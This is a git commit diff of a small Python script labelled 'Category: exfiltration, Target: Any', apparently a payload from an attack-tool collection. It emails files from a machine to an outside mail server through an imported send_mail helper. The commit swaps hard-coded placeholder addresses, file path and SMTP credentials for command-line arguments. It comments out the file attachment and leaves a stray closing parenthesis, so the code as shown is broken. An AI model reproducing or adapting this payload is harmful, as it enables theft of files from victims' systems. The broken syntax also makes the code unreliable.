Made changes so python can take bash parameters
parent
386f4e58af
commit
8f434d2dab
|
@ -6,12 +6,14 @@
|
||||||
# Category: exfiltration
|
# Category: exfiltration
|
||||||
# Target: Any
|
# Target: Any
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
sys.path.append("/root/extensions")
|
sys.path.append("/root/extensions")
|
||||||
from sendemail import send_mail
|
from sendemail import send_mail
|
||||||
|
|
||||||
send_mail('im-just-a-squirrel@giving-you-my-nuts.net', 'EmailTo@SendTo.net',
|
send_mail(sys.argv[1], sys.argv[2],
|
||||||
'You Got My Nuts',
|
sys.argv[3],
|
||||||
'Enjoy this package',
|
sys.argv[4],
|
||||||
files=["/Path/To/My/Nuts.txt"],
|
# files=sys.argv[8],
|
||||||
server='MAIL.SERVER.com', username='USERNAME', password='PASSWORD')
|
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])
|
||||||
|
)
|
||||||
|
|
Loading…
Reference in New Issue